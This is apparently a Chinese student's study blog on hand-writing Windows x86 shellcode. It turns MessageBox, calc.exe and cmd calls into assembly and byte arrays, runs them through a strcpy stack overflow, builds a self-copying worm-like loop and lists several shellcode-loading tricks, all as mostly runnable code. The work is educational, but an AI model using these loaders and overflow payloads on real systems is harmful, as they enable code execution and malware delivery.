C标准库就是任何平台都可以使用的基本C语言库。而CRT除了将C标准库加入所属范围外,还扩展了与平台相关的接口库,这些接口实现根据不同平台调用不同平台的操作系统API。
如下图所示,采用C标准库编写的程序可以应用到windows平台,也可以应用到linux平台;而用CRT另外与平台相关的库函数编写的应用程序不能跨平台运行。

C语言实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include "stdafx.h"
#include "stdio.h"
#include "windows.h"

int main(int argc, char* argv[])
{
printf("begin\n");
HINSTANCE libHandle;
char *dll="kernel32.dll";
libHandle=LoadLibrary(dll);

MessageBox(NULL,"content","tittle",MB_OK);
printf("end");
return 0;
}

弹框部分整理为汇编

然后将弹框部分整理为汇编(我写的是一部分内嵌)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__asm
{
//sub sp,0x454
xor ebx,ebx //ebx=0
push ebx //字符串结尾'\0'
push 0x61626364 //将字符串压栈
push 0x65666768 //还是那串字符串
mov eax,esp //"hgfedcba"地址
push ebx
push eax //"hgfedcba"
push eax
push ebx //四个参数从右到左入栈
//call dword ptr [MessageBoxA] //根据上面得到的地址,转化一下
mov eax,0x77d507ea
call eax
add esp,12 //12是因为压栈的时候占用三个内存单元
}

在API或子程序中,最右边的参数先入栈,然后子程序在返回时负责校正堆栈。如上面MessageBox这个API,因为他的定义是int WINAPI MessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType),所以压栈的时候:

1
2
3
4
5
push MB_OK
push offset lpCaption
push offset text
push hWnd
call dword ptr [MessageBoxA]

我们不必在API返回时加一句add sp,16来修正堆栈,因为MessageBox子程序已经做过了。在Windows API中,唯一一个特殊的API是wsprintf,这个API是C规定的,他的定义是int __cdecl wsprintf(_Out_ LPTSTR lpOut, _In_ LPCTSTR lpFmt, _In_...);
所以压栈的时候:

1
2
3
4
5
6
7
push 1111
push 2222
push 3333
push offset format
push offset out
call wsprintf
add esp,4* 5

转化成机器码(shellcode)执行

在VC中切换到反汇编模式,显示byte

把这些加上\x放到shellcode数组里,调用执行

1
char shellcode[]="\x33\xdb\x53\x68\x64\x63\x62\x61\x68\x68\x67\x66\x65\x8b\xc4\x53\x50\x50\x53\xb8\xea\x07\xd5\x77\xff\xd0\x33\xc0\x50\xb8\xfa\xca\x81\x7c\xff\xd0\x83\xc4\x0c";
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include "stdafx.h"
#include "stdio.h"
#include "windows.h"
#include "stdlib.h"

char shellcode[]="\x33\xdb\x53\x68\x64\x63\x62\x61\x68\x68\x67\x66\x65\x8b\xc4\x53\x50\x50\x53\xb8\xea\x07\xd5\x77\xff\xd0\x33\xc0\x50\xb8\xfa\xca\x81\x7c\xff\xd0\x83\xc4\x0c";
int main(int argc, char* argv[])
{
printf("begin\n");
HINSTANCE libHandle;
char *dll1="user32.dll";
char *dll2="msvcrt.dll";
libHandle=LoadLibrary(dll1);


//messagebox
/* __asm
{
//sub sp,0x454
xor ebx,ebx
push ebx
push 0x61626364
push 0x65666768
mov eax,esp
push ebx
push eax
push eax
push ebx
mov eax,0x77d507ea
call eax
//mov esp,0x450
//call dword ptr [MessageBoxA]
xor eax,eax
push eax
mov eax,0x7C81CAFA
call eax
add esp,12
}*/

__asm
{
lea eax,shellcode
call eax
//add esp,80
ret
}
//ExitProcess(0);
return 0;
}


小结:1.压入0的时候,由于shellcode一般不能有00,所以采用xor的方式替换掉0;同时shellcode不可采用硬编码的地址,应该通过基址和偏移计算。这里我还没有学通,回头补上。

计算器

C语言实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include "stdafx.h"
#include "stdio.h"
#include "windows.h"
#include "stdlib.h"

int main(int argc, char* argv[])
{
printf("begin\n");
HINSTANCE libHandle;
char *dll1="user32.dll";
char *dll2="msvcrt.dll";
char *dll3="keinel32.dll";
libHandle=LoadLibrary(dll3);

WinExec("calc.exe",SW_SHOW);
ExitProcess(0);
return 0;
}

汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__asm{
xor ebx,ebx
push ebx //'\0'
push 6578652Eh //'.exe'
push 636C6163h //'calc'
mov eax,esp //'calc.exe'的地址
push 5h //SW_SHOW
push eax //"calc.exe"
mov eax,0x7C8623AD //调用WinExec
call eax
xor eax,eax
push eax
mov eax,0x7C81CAFA
call eax
mov esp,ebp
pop ebp
sub esp,24
}

同样的方法找到WinExec函数的内存地址。

同样的方法提取机器码。运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include "stdafx.h"
#include "stdio.h"
#include "windows.h"
#include "stdlib.h"


char shellcode[]="\x33\xDB\x53\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x33\xC0\x50\xB8\xFA\xCA\x81\x7C\xFF\xD0\x8B\xE5\x5D\x83\xEC\x18";
int main(int argc, char* argv[])
{
printf("begin\n");
HINSTANCE libHandle;
char *dll1="user32.dll";
char *dll2="msvcrt.dll";
char *dll3="keinel32.dll";
libHandle=LoadLibrary(dll3);

//WinExec("calc.exe",SW_SHOW);

//calculater
/* __asm{
xor ebx,ebx
push ebx
push 6578652Eh
push 636C6163h
mov eax,esp
push 5h
push eax
//push 5h
mov eax,0x7C8623AD
call eax
xor eax,eax
push eax
mov eax,0x7C81CAFA
call eax
mov esp,ebp
pop ebp
sub esp,24
}*/


__asm
{
lea eax,shellcode
call eax
//add esp,80
ret
}
ExitProcess(0);
return 0;
}

cmd

由于用到的函数是system("cmd"),汇编调用系统函数system()第一种获取地址方法没有用上,用到第二种方法。
获取地址过程见上面的图片。
注:输入exit回车是退出cmd模式。(想当初我还bye、ctrl+C、ctrl+Z试了不少次= =)

C语言

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include "stdafx.h"
#include "stdio.h"
#include "windows.h"
#include "stdlib.h"

int main(int argc, char* argv[])
{
printf("begin\n");
HINSTANCE libHandle;
char *dll1="user32.dll";
char *dll2="msvcrt.dll";
libHandle=LoadLibrary(dll2);

system("cmd");

汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include "stdafx.h"
#include "stdio.h"
#include "windows.h"
#include "stdlib.h"

int main(int argc, char* argv[])
{
printf("begin\n");
HINSTANCE libHandle;
char *dll1="user32.dll";
char *dll2="msvcrt.dll";
libHandle=LoadLibrary(dll2);

system("cmd");

/*__asm{
xor ebx,ebx
push 0x2e646D63 //"cmd."
mov [esp+3],ebx //'.'转化为'0'
mov eax,esp //"cmd"
push eax
mov eax,0x77bf93c7
call eax
add esp,8
}*/



同样的方法提取shellcode,运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include "stdafx.h"
#include "stdio.h"
#include "windows.h"
#include "stdlib.h"

char shellcode[]="\x33\xDB\x68\x63\x6d\x64\x03\x89\x5c\x24\x03\x8b\xc4\x50\xb8\xc7\x93\xbf\x77\xff\xd0\x33\xC0\x50\xB8\xFA\xCA\x81\x7C\xFF\xD0\x83\xc4\x08";
int main(int argc, char* argv[])
{
printf("begin\n");
HINSTANCE libHandle;
char *dll1="user32.dll";
char *dll2="msvcrt.dll";
libHandle=LoadLibrary(dll2);

//system("cmd");

/*__asm{
xor ebx,ebx
push 0x2e646D63
mov [esp+3],ebx
mov eax,esp
push eax
//push cmd
//call system
mov eax,0x77bf93c7
call eax
add esp,8
}*/


__asm
{
lea eax,shellcode
call eax
//add esp,80
ret
}
return 0;
}

汇编无限复制自我执行

相当于在模仿“蠕虫”吧,但是只是简单地自我复制、无限执行,没有灵魂。
PS:定位、调整地址很头秃,我内心想好了怎么做(原理也很简单),但是自暴自弃的看动画片也不想调试。所以看完了《恋与制作人》和《刺客伍六七》第二季(狗头)。间隔了挺长时间,所幸最后还是调试出来了。

另外……
我妹:你们还学蠕虫呀?
我:嗯。
我妹:什么是蠕虫呀?
我:在你电脑里爬的虫子。
我妹:那电脑不就坏了吗?
我:嗯。
我妹:你们在做坏事??
我:你为什么不往好处想??
我妹:我要告诉警察!
我:……我进去对你有什么好处?
我爸:放心,你姐姐做不出来,电脑都有防火墙和杀毒软件,你姐姐现在这点水平骗一骗你还行。

还是之前的溢出实验代码。又双叒叕水了一篇。

第二版

因为第一版没留底(也没什么参考价值),单纯的执行了两遍shellcode。
第二版是可以无限复制,但没有执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__asm{
mov eax,esp
push 0x2e2e2e1a
mov [esp+1],ecx //将edx的值变成19,且避免00截断
mov edx,[esp]
add eax,24h //跳过头部
worm:
xor ecx,ecx
copy:
mov bl,byte ptr [eax+ecx]
inc ecx
mov byte ptr [eax+edx],bl
inc edx
cmp bl,0x90
jne copy //内循环,本内存复制shellcode
jmp worm //外循环,在下一内存复制shellcode
}

然后提取这段的机器码,并且放在shellcode中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include "stdafx.h"
#include "string.h"
#include "windows.h"
char *shellcode="\x64\x65\x66\x67\x68\x69\x70\x71\xfb\xbf\xd7\x75\x90\x90"
"\x8b\xc4\x33\xc9\x68\x1a\x2e\x2e\x2e\x89\x4c\x24\x01\x8b\x14\x24\x83\xc0\x24\x33\xc9\x8a\x1c\x08\x41\x88\x1c\x10\x42\x80\xfb\x90\x75\xf3\xeb\xef"
"\x6a\x05\x6a\x04\x6a\x03\x33\xdb\x68\x05\x10\x40\x2e\x89\x5c\x24\x03\x8b\x04\x24\xff\xd0\x83\xc4\x4e\x90";

void fun1(int a, int b)
{
printf("fun1 run!para a=%d,b=%d\n",a,b);
char aa[4]={0};
strcpy(aa,shellcode);
}

void fun3(int a,int b,int c)
{
printf("fun3 run! para a=%d,b=%d,c=%d\n",a,b,c);
}

/*void fun2(int a)
{
printf("fun2 run! para a=%d\n",a);
}*/
int main(int argc, char* argv[])
{
HINSTANCE libHandle;
char *dll="user32.dll";
libHandle=LoadLibrary(dll);
//LoadLibrary(dll);
printf("begin\n");
fun1(1,2);

/*_asm{
push 5
push 4
push 3
xor ebx,ebx
push 0x2e401005
mov [esp+3],ebx
mov eax,dword ptr [esp]
call eax
add esp,16
}*/
printf("end\n");
return 0;
}

效果

第三版

自我复制,无限执行,没有灵魂。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
		__asm{
mov eax,esp
xor ecx,ecx
push 0x2e2e2e1a
mov [esp+1],ecx
mov edx,[esp]
copy:
mov bl,byte ptr [eax+ecx]
inc ecx
mov byte ptr [eax+edx],bl
inc edx
cmp ecx,38h
jne copy
add esp,38h

提取机器码,放到shellcode中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include "stdafx.h"
#include "string.h"
#include "windows.h"
char *shellcode="\x64\x65\x66\x67\x68\x69\x70\x71\xfb\xbf\xd7\x75\x90\x90"
"\x8b\xc4"
"\x33\xc9"
"\x68\x3a\x2e\x2e\x2e"
"\x89\x4c\x24\x01"
"\x8b\x14\x24"
"\x83\xc0\x02"
"\x8a\x1c\x08\x41\x88\x1c\x10\x42\x83\xf9\x3d\x75\xf3"
"\x6a\x05\x6a\x04\x6a\x03\x33\xdb\x68\x05\x10\x40\x2e\x89\x5c\x24\x03\x8b\x04\x24\xff\xd0\x83\xc4\x4e\x90";

void fun1(int a, int b)
{
printf("fun1 run!para a=%d,b=%d\n",a,b);
char aa[4]={0};
strcpy(aa,shellcode);
}

void fun3(int a,int b,int c)
{
printf("fun3 run! para a=%d,b=%d,c=%d\n",a,b,c);
}

/*void fun2(int a)
{
printf("fun2 run! para a=%d\n",a);
}*/
int main(int argc, char* argv[])
{
HINSTANCE libHandle;
char *dll="user32.dll";
libHandle=LoadLibrary(dll);
//LoadLibrary(dll);
printf("begin\n");
fun1(1,2);

/*_asm{
push 5
push 4
push 3
xor ebx,ebx
push 0x2e401005
mov [esp+3],ebx
mov eax,dword ptr [esp]
call eax
add esp,16
}*/
printf("end\n");
return 0;
}

第三版调试效果
第三版执行效果

几种加载shellcode的方法

还有很多方法,学到后持续更新。以弹出计算器为例

lea/call

1
2
3
4
5
6
__asm
{
lea eax,shellcode
call eax
retn
}

将shellcode的地址存入eax寄存器后,call eax即可跳转到shellcode地址执行。

lea/push

1
2
3
4
5
6
7
__asm
{
lea eax,shellcode
push eax
push eax
retn
}

将eax进行两次push压栈,栈顶指针esp向上移动两个内存单元,两个内存单元中存的都是shellcode的地址。esp下一个内存单元存储的值是retn地址,故将返回到shellcode的地址。

lea/jmp

原理很简单,先把shellcode地址存入eax,再直接跳转到eax执行。

1
2
3
4
5
__asm
{
lea eax,shellcode
jmp eax
}

mov offset

1
2
3
4
5
__asm
{
mov eax,offset shellcode
jmp eax
}

伪指令硬编码

1
2
3
4
5
6
__asm
{
mov eax,offset shellcode
_emit 0xFF
_emit 0xE0
}

FF E0就是jmp eax的机器码。

强制类型转换成函数指针

((void(*)(void))&shellcode)()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include "stdio.h"
#include "windows.h"

#pragma comment(linker,"/section:.data,RWE")

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker,"/INCREMENTAL:NO")

unsigned char shellcode[]="\x33\xDB\x53\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x05\x50\xB8\x20\xD3\x7B\x75\xFF\xD0\x33\xC0\x50\xB8\xFA\xCA\x81\x7C\xFF\xD0\x8B\xE5\x5D\x83\xEC\x18";
void run1(){
((void(*)(void))&shellcode)();
}
void main(int argc, char* argv[])
{
//WinExec("calc.exe",SW_SHOW);

//calculater
/*__asm{
xor ebx,ebx
push ebx
push 6578652Eh
push 636C6163h
mov eax,esp
push 5h
push eax
//push 5h
mov eax,0x757BD320
call eax
xor eax,eax
push eax
mov eax,0x7C81CAFA
call eax
mov esp,ebp
pop ebp
sub esp,24
}*/


/*__asm
{
lea eax,shellcode
push eax
//add esp,80
push eax
retn
}*/
run1();
}

上述几种方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include "stdio.h"
#include "windows.h"

#pragma comment(linker,"/section:.data,RWE")

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker,"/INCREMENTAL:NO")

unsigned char shellcode[]="\x33\xDB\x53\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x05\x50\xB8\x20\xD3\x7B\x75\xFF\xD0\x33\xC0\x50\xB8\xFA\xCA\x81\x7C\xFF\xD0\x8B\xE5\x5D\x83\xEC\x18";
void run1(){
((void(*)(void))&shellcode)();
}
void run2(){
__asm
{
lea eax,shellcode
jmp eax
}
}
void run3(){
__asm
{
mov eax,offset shellcode
jmp eax
}
}
void run4(){
__asm
{
mov eax,offset shellcode
_emit 0xFF
_emit 0xE0
}
}
void main()
{
run4();
}